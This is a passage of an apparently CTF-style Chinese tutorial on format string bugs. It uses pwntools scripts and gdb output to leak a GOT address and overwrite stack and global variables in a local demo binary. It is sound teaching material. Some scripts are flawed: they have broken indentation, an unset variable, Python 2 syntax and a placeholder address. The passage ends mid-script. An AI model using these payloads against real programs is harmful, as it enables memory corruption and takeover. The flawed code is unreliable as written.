<p>假设我们知道格式化字符串在输出调用时是第几个参数，这里假设该格式化字符串相对函数调用为第k个参数，可以用如下的方式来获取某个指定地址addr的内容。</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">addr%k$s</span><br></pre></td></tr></table></figure>

<p>下面就是如何确定该格式化字符串为第几个参数的问题了，我们可以通过如下方式确定</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[tag]%p%p%p%p%p%p...</span><br></pre></td></tr></table></figure>

<p>一般来说，我们会重复某个字符的机器字长来作为 tag，后面会跟上若干个 %p 来输出栈上的内容，如果内容与我们前面的 tag 重复了，那么我们就可以有很大把握说明该地址就是格式化字符串的地址，之所以说是有很大把握，这是因为不排除栈上有一些临时变量也是该数值。一般情况下，极其少见，我们也可以更换其他字符进行尝试，进行再次确认。这里我们利用字符’A’作为特定字符，同时还是利用之前编译好的程序，如下</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">yutao@ubuntu:~/Desktop$ ./a.out </span><br><span class="line">AAAA%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p</span><br><span class="line"><span class="number">00000001.00222222</span>.ffffffff.AAAA%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p</span><br><span class="line">AAAA0xff96a4500xf7f1f9900x80491d10x414141410x702570250x702570250x702570250x702570</span><br></pre></td></tr></table></figure>

<p>由 0x41414141 处所在的位置可以看出我们的格式化字符串的起始地址正好是输出函数的第 5 个参数，是格式化字符串的第 4 个参数。我们可以来测试一下:</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">yutao@ubuntu:~/Desktop$ ./a.out </span><br><span class="line">%4$s</span><br><span class="line">00000001.00222222.ffffffff.%4$s</span><br><span class="line">Segmentation fault (core dumped)</span><br></pre></td></tr></table></figure>

<p>程序崩了，这是因为我们试图将该格式化字符串所对应的值作为地址进行解析，但是显然该值没有办法作为一个合法的地址被解析，所以程序就崩溃了。</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br></pre></td><td class="code"><pre><span class="line">gdb-peda$ r</span><br><span class="line">Starting program: /home/yutao/Desktop/a.out </span><br><span class="line">%4$s</span><br><span class="line">[----------------------------------registers-----------------------------------]</span><br><span class="line">EAX: 0x804a00b (&quot;%08x.%08x.%08x.%s\n&quot;)</span><br><span class="line">EBX: 0x804c000 --&gt; 0x804bf14 --&gt; 0x1 </span><br><span class="line">ECX: 0x0 </span><br><span class="line">EDX: 0xf7fb3000 --&gt; 0x1e6d6c </span><br><span class="line">ESI: 0xf7fb3000 --&gt; 0x1e6d6c </span><br><span class="line">EDI: 0xf7fb3000 --&gt; 0x1e6d6c </span><br><span class="line">EBP: 0xffffd1d8 --&gt; 0x0 </span><br><span class="line">ESP: 0xffffd13c --&gt; 0x804921e (&lt;main+104&gt;:	add    esp,0x20)</span><br><span class="line">EIP: 0xf7e1fde0 (&lt;printf&gt;:	endbr32)</span><br><span class="line">EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)</span><br><span class="line">[-------------------------------------code-------------------------------------]</span><br><span class="line">   0xf7e1fddb &lt;fprintf+27&gt;:	add    esp,0x1c</span><br><span class="line">   0xf7e1fdde &lt;fprintf+30&gt;:	ret    </span><br><span class="line">   0xf7e1fddf:	nop</span><br><span class="line">=&gt; 0xf7e1fde0 &lt;printf&gt;:	endbr32 </span><br><span class="line">   0xf7e1fde4 &lt;printf+4&gt;:	call   0xf7f1127d</span><br><span class="line">   0xf7e1fde9 &lt;printf+9&gt;:	add    eax,0x193217</span><br><span class="line">   0xf7e1fdee &lt;printf+14&gt;:	sub    esp,0xc</span><br><span class="line">   0xf7e1fdf1 &lt;printf+17&gt;:	lea    edx,[esp+0x14]</span><br><span class="line">[------------------------------------stack-------------------------------------]</span><br><span class="line">0000| 0xffffd13c --&gt; 0x804921e (&lt;main+104&gt;:	add    esp,0x20)</span><br><span class="line">0004| 0xffffd140 --&gt; 0x804a00b (&quot;%08x.%08x.%08x.%s\n&quot;)</span><br><span class="line">0008| 0xffffd144 --&gt; 0x1 </span><br><span class="line">0012| 0xffffd148 --&gt; 0x222222 (&#x27;&quot;&quot;&quot;&#x27;)</span><br><span class="line">0016| 0xffffd14c --&gt; 0xffffffff </span><br><span class="line">0020| 0xffffd150 --&gt; 0xffffd160 (&quot;%4$s&quot;)</span><br><span class="line">0024| 0xffffd154 --&gt; 0xffffd160 (&quot;%4$s&quot;)</span><br><span class="line">0028| 0xffffd158 --&gt; 0xf7ffd990 --&gt; 0x0 </span><br><span class="line">[------------------------------------------------------------------------------]</span><br><span class="line">Legend: code, data, rodata, value</span><br><span class="line"></span><br><span class="line">Breakpoint 1, 0xf7e1fde0 in printf () from /lib32/libc.so.6</span><br><span class="line">gdb-peda$ x/ 0xffffd160</span><br><span class="line">0xffffd160:	0x73243425</span><br><span class="line">gdb-peda$ x/s 0xffffd160</span><br><span class="line">0xffffd160:	&quot;%4$s&quot;</span><br><span class="line">gdb-peda$ x/x 0xffffd160</span><br><span class="line">0xffffd160:	0x25</span><br><span class="line">gdb-peda$ x/ 0x73243425</span><br><span class="line">0x73243425:	Cannot access memory at address 0x73243425</span><br><span class="line">gdb-peda$ vmmap</span><br><span class="line">Start      End        Perm	Name</span><br><span class="line">0x08048000 0x08049000 r--p	/home/yutao/Desktop/a.out</span><br><span class="line">0x08049000 0x0804a000 r-xp	/home/yutao/Desktop/a.out</span><br><span class="line">0x0804a000 0x0804b000 r--p	/home/yutao/Desktop/a.out</span><br><span class="line">0x0804b000 0x0804c000 r--p	/home/yutao/Desktop/a.out</span><br><span class="line">0x0804c000 0x0804d000 rw-p	/home/yutao/Desktop/a.out</span><br><span class="line">0x0804d000 0x0806f000 rw-p	[heap]</span><br><span class="line">0xf7dcc000 0xf7de9000 r--p	/usr/lib32/libc-2.31.so</span><br><span class="line">0xf7de9000 0xf7f41000 r-xp	/usr/lib32/libc-2.31.so</span><br><span class="line">0xf7f41000 0xf7fb1000 r--p	/usr/lib32/libc-2.31.so</span><br><span class="line">0xf7fb1000 0xf7fb3000 r--p	/usr/lib32/libc-2.31.so</span><br><span class="line">0xf7fb3000 0xf7fb5000 rw-p	/usr/lib32/libc-2.31.so</span><br><span class="line">0xf7fb5000 0xf7fb7000 rw-p	mapped</span><br><span class="line">0xf7fc9000 0xf7fcb000 rw-p	mapped</span><br><span class="line">0xf7fcb000 0xf7fcf000 r--p	[vvar]</span><br><span class="line">0xf7fcf000 0xf7fd1000 r-xp	[vdso]</span><br><span class="line">0xf7fd1000 0xf7fd2000 r--p	/usr/lib32/ld-2.31.so</span><br><span class="line">0xf7fd2000 0xf7ff0000 r-xp	/usr/lib32/ld-2.31.so</span><br><span class="line">0xf7ff0000 0xf7ffb000 r--p	/usr/lib32/ld-2.31.so</span><br><span class="line">0xf7ffc000 0xf7ffd000 r--p	/usr/lib32/ld-2.31.so</span><br><span class="line">0xf7ffd000 0xf7ffe000 rw-p	/usr/lib32/ld-2.31.so</span><br><span class="line">0xfffdd000 0xffffe000 rw-p	[stack]</span><br></pre></td></tr></table></figure>

<p>显然 0xffffd160 处所对应的格式化字符串所对应的变量值 0x73243425并不能够被改程序访问，所以程序就自然崩溃了。</p>
<p>那么设置一个可访问的地址呢？比如scanf@got，结果会怎样呢？应该是输出scanf的地址了。</p>
<p>首先，获取scanf@got的地址：</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">from pwn import *</span><br><span class="line">sh = process(&#x27;./a.out&#x27;)</span><br><span class="line">elf = ELF(&#x27;./a.out&#x27;)</span><br><span class="line">__isoc99_scanf_got = elf.got[&#x27;__isoc99_scanf&#x27;]</span><br><span class="line">print hex(__isoc99_scanf_got)</span><br><span class="line">payload = p32(__isoc99_scanf_got) + b&#x27;%4$s&#x27;</span><br><span class="line">print payload</span><br><span class="line">gdb.attach(sh)</span><br><span class="line">sh.sendline(payload)</span><br><span class="line">sh.recvuntil(&#x27;%4$s\n&#x27;)</span><br><span class="line">print hex(u32(sh.recv()[4:8])) # remove the first bytes of __isoc99_scanf@got</span><br><span class="line">sh.interactive()</span><br></pre></td></tr></table></figure>

<p>其中，我们使用 gdb.attach(sh) 来进行调试。</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">yutao@ubuntu:~/Desktop$ python3 1.py </span><br><span class="line">[+] Starting local process &#x27;./a.out&#x27;: pid 10143</span><br><span class="line">[*] &#x27;/home/yutao/Desktop/a.out&#x27;</span><br><span class="line">    Arch:     i386-32-little</span><br><span class="line">    RELRO:    Partial RELRO</span><br><span class="line">    Stack:    No canary found</span><br><span class="line">    NX:       NX enabled</span><br><span class="line">    PIE:      No PIE (0x8048000)</span><br><span class="line">0x804c014</span><br><span class="line">b&#x27;\x14\xc0\x04\x08%4$s&#x27;</span><br><span class="line">[*] running in new terminal: /usr/bin/gdb -q  &quot;./a.out&quot; 10143</span><br><span class="line">[-] Waiting for debugger: debugger exited! (maybe check /proc/sys/kernel/yama/ptrace_scope)</span><br><span class="line">0xf7d76e80</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line">[*] Process &#x27;./a.out&#x27; stopped with exit code 0 (pid 10143)</span><br><span class="line">[*] Got EOF while reading in interactive</span><br></pre></td></tr></table></figure>

<p>确实得到了scanf的地址。</p>
<h2 id="覆盖内存"><a href="#覆盖内存" class="headerlink" title="覆盖内存"></a>覆盖内存</h2><p>上面谢了如何利用格式化字符串来泄露栈内存以及任意地址内存，那么有没有可能修改栈上的值呢？甚至修改任意地址变量的内存呢？答案是可行的，只要便令对应的地址科协，就可以利用格式化字符串来修改其对应的数值</p>
<blockquote>
<p>%n,不输出字符，，但是可将已经成功成功输出的字符个数写入对应的整型指针参数所指的变量。</p>
</blockquote>
<p>通过这个类型参数，再加上一些小技巧，我们就可以达到我们的目的，这里仍然分为两部分，一部分为覆盖栈上的变量，第二部分为覆盖指定地址的变量。</p>
<p>示例程序：</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="keyword">int</span> a = <span class="number">123</span>, b = <span class="number">456</span>;</span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span> </span>&#123;</span><br><span class="line">  <span class="keyword">int</span> c = <span class="number">789</span>;</span><br><span class="line">  <span class="keyword">char</span> s[<span class="number">100</span>];</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;%p\n&quot;</span>, &amp;c);</span><br><span class="line">  <span class="built_in">scanf</span>(<span class="string">&quot;%s&quot;</span>, s);</span><br><span class="line">  <span class="built_in">printf</span>(s);</span><br><span class="line">  <span class="keyword">if</span> (c == <span class="number">16</span>) &#123;</span><br><span class="line">	<span class="built_in">puts</span>(<span class="string">&quot;modified c.&quot;</span>);</span><br><span class="line">  &#125; <span class="keyword">else</span> <span class="keyword">if</span> (a == <span class="number">2</span>) &#123;</span><br><span class="line">	<span class="built_in">puts</span>(<span class="string">&quot;modified a for a small number.&quot;</span>);</span><br><span class="line">  &#125; <span class="keyword">else</span> <span class="keyword">if</span> (b == <span class="number">0x12345678</span>) &#123;</span><br><span class="line">	<span class="built_in">puts</span>(<span class="string">&quot;modified b for a big number!&quot;</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>而无论是覆盖哪个地址的变量，我们基本上都是构造类似如下的 payload</p>
<blockquote>
<p>…[overwrite addr]….%[overwrite offset]$n</p>
</blockquote>
<p>其中… 表示我们的填充内容，overwrite addr 表示我们所要覆盖的地址，overwrite offset 地址表示我们所要覆盖的地址存储的位置为输出函数的格式化字符串的第几个参数。所以一般来说，也是如下步骤</p>
<ul>
<li>确定覆盖地址</li>
<li>确定相对偏移</li>
<li>进行覆盖</li>
</ul>
<h3 id="覆盖栈内存"><a href="#覆盖栈内存" class="headerlink" title="覆盖栈内存"></a>覆盖栈内存</h3><h4 id="确定覆盖地址"><a href="#确定覆盖地址" class="headerlink" title="确定覆盖地址"></a>确定覆盖地址</h4><p>首先，我们自然是来想办法知道栈变量 c 的地址。由于目前几乎上所有的程序都开启了 aslr 保护，所以栈的地址一直在变，所以我们这里故意输出了 c 变量的地址。</p>
<h4 id="确定相对偏移"><a href="#确定相对偏移" class="headerlink" title="确定相对偏移"></a>确定相对偏移</h4><p>接下来，我们来确定一下存储格式化字符串的地址是 printf 将要输出的第几个参数 ()。 这里我们通过之前的泄露栈变量数值的方法来进行操作。</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">[------------------------------------stack-------------------------------------]</span><br><span class="line">0000| 0xffffd14c (&quot;sbUV\bpUVd\321\377\377\002&quot;)</span><br><span class="line">0004| 0xffffd150 --&gt; 0x56557008 --&gt; 0xa7025 (&#x27;%p\n&#x27;)</span><br><span class="line">0008| 0xffffd154 --&gt; 0xffffd164 --&gt; 0x315 </span><br><span class="line">0012| 0xffffd158 --&gt; 0x2 </span><br><span class="line">0016| 0xffffd15c (&quot;HbUV4PUV\025\003&quot;)</span><br><span class="line">0020| 0xffffd160 (&quot;4PUV\025\003&quot;)</span><br><span class="line">0024| 0xffffd164 --&gt; 0x315 </span><br><span class="line">0028| 0xffffd168 --&gt; 0xffffd1c8 --&gt; 0xffffd28c --&gt; 0xffffd43d (&quot;SHELL=/bin/bash&quot;)</span><br><span class="line">[------------------------------------------------------------------------------]</span><br></pre></td></tr></table></figure>

<p>在0xffffd164处存着变量c的数值，0xffffd164相对 printf 函数的格式化字符串参数 0xffffd14c的偏移为0x18，即格式化字符串相当于 printf 函数的第 7个参数，相当于格式化字符串的第 6个参数。</p>
<h4 id="进行覆盖"><a href="#进行覆盖" class="headerlink" title="进行覆盖"></a>进行覆盖</h4><p>这样，第 6 个参数处的值就是存储变量 c 的地址，我们便可以利用 %n 的特征来修改 c 的值。payload 如下：</p>
<blockquote>
<p>[addr of c]%012d%6$n</p>
</blockquote>
<p>addr of c的长度为4，故而我们得再输入 12 个字符才可以达到 16 个字符，以便于来修改 c 的值为 16。</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/python</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">re = process(<span class="string">&#x27;./a.out&#x27;</span>)</span><br><span class="line">raw_addr=re.recvuntil(<span class="string">&#x27;n&#x27;</span>,drop=<span class="literal">True</span>) </span><br><span class="line">c_addr = <span class="built_in">int</span>(raw_addr,<span class="number">16</span>)</span><br><span class="line"><span class="built_in">print</span> <span class="built_in">hex</span>(c_addr)</span><br><span class="line">payload = p32(c_addr) +<span class="string">b&quot;%012d&quot;</span> + <span class="string">b&#x27;%6$n&#x27;</span></span><br><span class="line"><span class="built_in">print</span> payload</span><br><span class="line">re.sendline(payload)</span><br><span class="line"><span class="built_in">print</span> re.recv()</span><br><span class="line">re.interactive()</span><br></pre></td></tr></table></figure>

<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">yutao@ubuntu:~/Desktop$ python3 1.py </span><br><span class="line">[+] Starting local process &#x27;./a.out&#x27;: pid 2992</span><br><span class="line">0xff91e254</span><br><span class="line">b&#x27;T\xe2\x91\xff%012d%6$n&#x27;</span><br><span class="line">b&#x27;T\xe2\x91\xff-00007216552modified c.\n&#x27;</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line">[*] Process &#x27;./a.out&#x27; stopped with exit code 0 (pid 2992)</span><br><span class="line">[*] Got EOF while reading in interactive</span><br><span class="line">$ </span><br><span class="line">[*] Got EOF while sending in interactive</span><br></pre></td></tr></table></figure>

<p>修改成功！</p>
<h3 id="任意地址覆盖"><a href="#任意地址覆盖" class="headerlink" title="任意地址覆盖"></a>任意地址覆盖</h3><h4 id="覆盖小数字"><a href="#覆盖小数字" class="headerlink" title="覆盖小数字"></a>覆盖小数字</h4><p>首先，我们来考虑一下如何修改 data 段的变量为一个较小的数字，比如说，<strong>小于机器字长的数字</strong>。这里以 2 为例。可能会觉得这其实没有什么区别，可仔细一想，真的没有么？如果我们还是将要覆盖的地址放在最前面，那么将直接占用机器字长个 (4 或 8) 字节。显然，无论之后如何输出，都只会比 4 大。</p>
<blockquote>
<p>或许我们可以使用<strong>整形溢出</strong>来修改对应的地址的值，但是这样将面临着我们得一次输出大量的内容。而这，一般情况下，基本都不会攻击成功。[整型溢出大致的理解就是超越整型类型数据的上界&#x2F;下界，由于整型的模运算特点，越界相当于取模，通过大数越界就可以得到小数据。比如unsigned short上界为65535，假如我们给unsigned short赋值为65538，也许就会得到2]</p>
</blockquote>
<p>由于我们想要把2写到对应的地址处，可以这样构造：</p>
<blockquote>
<p>aa%k$nxx…</p>
</blockquote>
<p>在进行%k$n解析之前，已经输出了2个字符即“aa”，所以这里会把对应偏移下的内存值，作为地址，在这个地址下写入2。</p>
<p>那么k如何确定？地址又怎么放置在s中呢？<strong>其实aa%k就是第6个参数，$nxx其实就是第7个参数，后面我们如果跟上我们要覆盖的地址，那就是第8个参数，所以如果我们这里设置k为8，其实就可以覆盖了</strong>。</p>
<blockquote>
<p>aa%8$nxx[addr of 变量a]</p>
</blockquote>
<p>a、b 是已初始化的全局变量，不在堆栈中，可直接在ida中得到a的地址。</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">#!/usr/bin/python </span><br><span class="line">from pwn import * </span><br><span class="line">re = process(‘./a.out’)</span><br><span class="line">a_addr = 0x????????</span><br><span class="line">payload = &quot;aa&quot;+&quot;%8$n&quot;+&quot;bb&quot;+p32(a_addr)</span><br><span class="line">print payload</span><br><span class="line">re.sendline(payload)</span><br><span class="line">print re.recv()</span><br><span class="line">re.interactive()</span><br></pre></td></tr></table></figure>

<h4 id="覆盖大数字"><a href="#覆盖大数字" class="headerlink" title="覆盖大数字"></a>覆盖大数字</h4><p>在x86和x64的体系结构中，变量的存储格式为以小端存储，即最低有效位存储在低地址。举个例子，0x12345678在内存中由低地址到高地址依次为x78x56x34x12。</p>
<blockquote>
<p>hh 对于整数类型，printf期待一个从char提升的int尺寸的整型参数。</p>
<p>h 对于整数类型，printf期待一个从short提升的int尺寸的整型参数。</p>
</blockquote>
<p>所以说，我们可以<strong>利用%hhn向某个地址写入单字节[而不是4字节4字节的写入，只修改这个地址下的字节,不影响其余3字节]，利用%hn向某个地址写入双字节</strong>。</p>
<p>b变量作为已初始化的全局变量，同样位于.data节中，利用ida看一下，可以发现地址为0x0804A02C[这是变量b的起始地址,实际b作为int类型，占据的地址为0x0804A02C-0x0804A02F]</p>
<p>接下来，按照如下方式进行覆盖，</p>
<blockquote>
<p>0x0804A02C -&gt; x78</p>
<p>0x0804A02D -&gt; x56</p>
<p>0x0804A02E -&gt; x34</p>
<p>0x0804A02F -&gt; x12</p>
</blockquote>
<p>由于此前通过调试确定，我们的字符串的偏移为6，所以我们可以确定我们的payload基本是这个样子的：</p>
<blockquote>
<p>p32(0x0804A02C)+p32(0x0804A02D)+p32(0x0804A02E)+p32(0x0804A02F)+padding1+’%6$n’+padding2+’%7$n’+padding3+’%8$n’+padding4+’%9$n’</p>
</blockquote>
<p>以上未明确的padding,按照根据需要填充的数据值进行修改，使得在进行解析%k$n之前，输出的字符串数[用paddings来控制]等于这个地址要写入的数值。</p>
<p>这里有一个通用的写入大数的脚本:</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line">//格式化字符串漏洞——覆盖<span class="number">4</span>字节的大数字[大数字中的各个字节很小也可以]</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">fmt</span>(<span class="params">prev, word, index</span>):</span></span><br><span class="line">    <span class="keyword">if</span> prev &lt; word:</span><br><span class="line">    result = word - prev  <span class="comment">#此前已经输出prev个字符，现在补充word-prev个字符，相当于总的输出了word个字符</span></span><br><span class="line">    fmtstr = <span class="string">&quot;%&quot;</span> + <span class="built_in">str</span>(result) + <span class="string">&quot;c&quot;</span> <span class="comment">#解析栈中对应值，输出result个字符</span></span><br><span class="line">    <span class="keyword">elif</span> prev == word:</span><br><span class="line">    result = <span class="number">0</span></span><br><span class="line">    <span class="keyword">else</span>:  <span class="comment">#word&lt;prev</span></span><br><span class="line">    result = <span class="number">256</span> + word - prev <span class="comment">#如果这个地址要写入的数字小于已经输出字符数，</span></span><br><span class="line">	<span class="comment">#那么就+256=0x0100,让他成为一个2字节大小的数据，实际%hhn只会写入低位的那个字节。</span></span><br><span class="line">	<span class="comment">#因为此前已经输出了prev个字符，这里是做字符补充，所以最终相当于输出%(256+word)c，256=0x0100高位被舍去，剩下低字节的word。</span></span><br><span class="line">    fmtstr = <span class="string">&quot;%&quot;</span> + <span class="built_in">str</span>(result) + <span class="string">&quot;c&quot;</span></span><br><span class="line">    fmtstr += <span class="string">&quot;%&quot;</span> + <span class="built_in">str</span>(index) + <span class="string">&quot;$hhn&quot;</span></span><br><span class="line">    <span class="keyword">return</span> fmtstr</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">fmt_str</span>(<span class="params">offset, size, addr, target</span>):</span></span><br><span class="line">        payload = <span class="string">&quot;&quot;</span></span><br><span class="line">        <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">4</span>):</span><br><span class="line">        <span class="keyword">if</span> size == <span class="number">4</span>:</span><br><span class="line">        payload += p32(addr + i)</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">        payload += p64(addr + i)</span><br><span class="line">        prev = <span class="built_in">len</span>(payload)</span><br><span class="line">        <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">4</span>):</span><br><span class="line">        payload += fmt(prev, (target &gt;&gt; i * <span class="number">8</span>) &amp; <span class="number">0xff</span>, offset + i) <span class="comment">#(target &gt;&gt; i * 8) &amp; 0xff获取大数字的每一个字节</span></span><br><span class="line">        prev = (target &gt;&gt; i * <span class="number">8</span>) &amp; <span class="number">0xff</span></span><br><span class="line">        <span class="keyword">return</span> payload</span><br><span class="line">    </span><br><span class="line">payload = fmt_str(<span class="number">6</span>,<span class="number">4</span>,<span class="number">0x0804A02C</span>,<span class="number">0x12345678</span>)  </span><br><span class="line"><span class="comment"># 6：字符串参数首个待写地址的偏移 ； 4：32位，4字节机器 ；写入变量的起始地址【低地址】 ；写入变量地址的数据</span></span><br></pre></td></tr></table></figure>

<p>参数含义：</p>
<ul>
<li>offset表示要覆盖的地址最初的偏移</li>
<li>size表示机器字长</li>
<li>addr表示将要覆盖的地址。</li>
<li>target表示我们要覆盖为的目的变量值。</li>
</ul>
<p>最终修改b变量为0x12345678的脚本如下：</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/python</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">fmt</span>(<span class="params">prev,word,index</span>):</span></span><br><span class="line">	<span class="keyword">if</span>(prev &lt; word):</span><br><span class="line">		result = word-prev</span><br><span class="line">		fmtstr = <span class="string">&quot;%&quot;</span> + <span class="built_in">str</span>(result) + <span class="string">&quot;c&quot;</span></span><br><span class="line">	<span class="keyword">elif</span>(prev == word):</span><br><span class="line">		result = <span class="number">0</span></span><br><span class="line">	<span class="keyword">else</span>:</span><br><span class="line">		result = <span class="number">256</span> + word-prev</span><br><span class="line">		fmtstr = <span class="string">&quot;%&quot;</span> + <span class="built_in">str</span>(result) + <span class="string">&quot;c&quot;</span></span><br><span class="line">	fmtstr += <span class="string">&quot;%&quot;</span> + <span class="built_in">str</span>(index) + <span class="string">&quot;$hhn&quot;</span></span><br><span class="line">	<span class="keyword">return</span> fmtstr</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">fmt_str</span>(<span class="params">offset,size,addr,target</span>):</span></span><br><span class="line">	payload = <span class="string">&quot;&quot;</span></span><br><span class="line">	<span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">4</span>):</span><br><span class="line">		<span class="keyword">if</span>(size ==<span class="number">4</span>):</span><br><span class="line">			payload += p32(addr + i)</span><br><span class="line">		<span class="keyword">else</span>:</span><br><span class="line">			payload += 